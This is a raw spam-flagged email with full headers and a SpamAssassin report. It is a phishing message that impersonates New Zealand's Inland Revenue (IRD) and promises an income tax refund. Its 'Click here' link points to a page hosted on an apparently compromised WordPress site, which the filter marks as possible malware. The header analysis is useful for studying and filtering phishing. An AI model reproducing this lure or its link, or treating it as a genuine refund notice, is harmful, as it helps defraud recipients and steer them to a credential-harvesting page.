Return-Path: <admin@goldimageprinting.com>
Delivered-To: behniwal+spam@server.rnv.kpw.mybluehostin.me
Received: from server.rnv.kpw.mybluehostin.me
	by server.rnv.kpw.mybluehostin.me with LMTP
	id pT0XFTKLQ2oafAAAyTkJsw
	(envelope-from <admin@goldimageprinting.com>)
	for <behniwal+spam@server.rnv.kpw.mybluehostin.me>; Tue, 30 Jun 2026 03:24:02 -0600
Return-path: <admin@goldimageprinting.com>
Envelope-to: logtextcheck@behniwalgroup.com
Delivery-date: Tue, 30 Jun 2026 03:24:02 -0600
Received: from [162.241.136.125] (port=63772 helo=goldimageprinting.com)
	by server.rnv.kpw.mybluehostin.me with esmtps  (TLS1.2) tls TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
	(Exim 4.99.4)
	(envelope-from <admin@goldimageprinting.com>)
	id 1weUhF-000000008Fi-0MHI
	for logtextcheck@behniwalgroup.com;
	Tue, 30 Jun 2026 03:24:02 -0600
Received: from [171.22.30.111] (UnknownHost [171.22.30.111]) by goldimageprinting.com with SMTP;
   Wed, 5 Oct 2022 10:05:44 -0700
Content-Type: multipart/alternative; boundary="===============1077168103=="
MIME-Version: 1.0
To: Recipients <admin@goldimageprinting.com>
From: "IRD Newzealand" <admin@goldimageprinting.com>
Date: Wed, 05 Oct 2022 10:05:43 -0700
X-Spam-Status: Yes, score=7.3
X-Spam-Score: 73
X-Spam-Bar: +++++++
X-Spam-Report: Spam detection software, running on the system "server.rnv.kpw.mybluehostin.me",
 has identified this incoming email as possible spam.  The original
 message has been attached to this so you can view it or label
 similar future email.  If you have any questions, see
 root\@localhost for details.
 Content preview:  Dear Customer, Your income tax refund is processed and ready
    to be disbursement. Click here to submit a refund application to enable us
    process your payment at the earliest. Regards, IRD New Zealand 
 Content analysis details:   (7.3 points, 5.0 required)
  pts rule name              description
 ---- ---------------------- --------------------------------------------------
  0.0 URIBL_BLOCKED          ADMINISTRATOR NOTICE: The query to URIBL was
                             blocked.  See
                             http://wiki.apache.org/spamassassin/DnsBlocklists#dnsbl-block
                              for more information.
                             [URIs: revdawncasseday.com]
  0.0 HTML_MESSAGE           BODY: HTML included in message
  0.0 KAM_DMARC_STATUS       Test Rule for DKIM or SPF Failure with Strict
                             Alignment
  1.5 KAM_DMARC_QUARANTINE   DKIM has Failed or SPF has failed on the
                             message and the domain has a DMARC
                             quarantine policy
  2.0 MIXED_HREF_CASE        Has href in mixed case
  0.0 TO_EQ_FM_DIRECT_MX     To == From and direct-to-MX
  3.5 URI_WP_HACKED          URI for compromised WordPress site, possible
                             malware
  0.2 HELO_MISC_IP           Looking for more Dynamic IP Relays
X-Spam-Flag: YES
Subject:    162.241.136.126 admin@goldimageprinting.com

You will not see this in a MIME-aware mail reader.
--===============1077168103==
Content-Type: text/plain; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body

Dear Customer,
 =

Your income tax refund is processed and ready to be disbursement. Click her=
e to submit a refund application to enable us process your payment at the e=
arliest.
 =

Regards,
IRD New Zealand

--===============1077168103==
Content-Type: text/html; charset="iso-8859-1"
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Description: Mail message body

<HTML><head><meta http-equiv=3D"Content-Type" content=3D"text/html; charset=
=3Diso-8859-1"/></head><BODY><P>Dear Customer,</P>
<P><BR>Your income tax refund is processed and ready to be disbursement. <A=
 href=3D"https://revdawncasseday.com/wp-content/plugins/wjcmlda/seacuded/in=
dex.html">Click here</A> to submit a refund application to enable us proces=
s your payment at the earliest.</P>
<P><BR>Regards,<BR>IRD New Zealand</P></BODY></HTML>
--===============1077168103==--

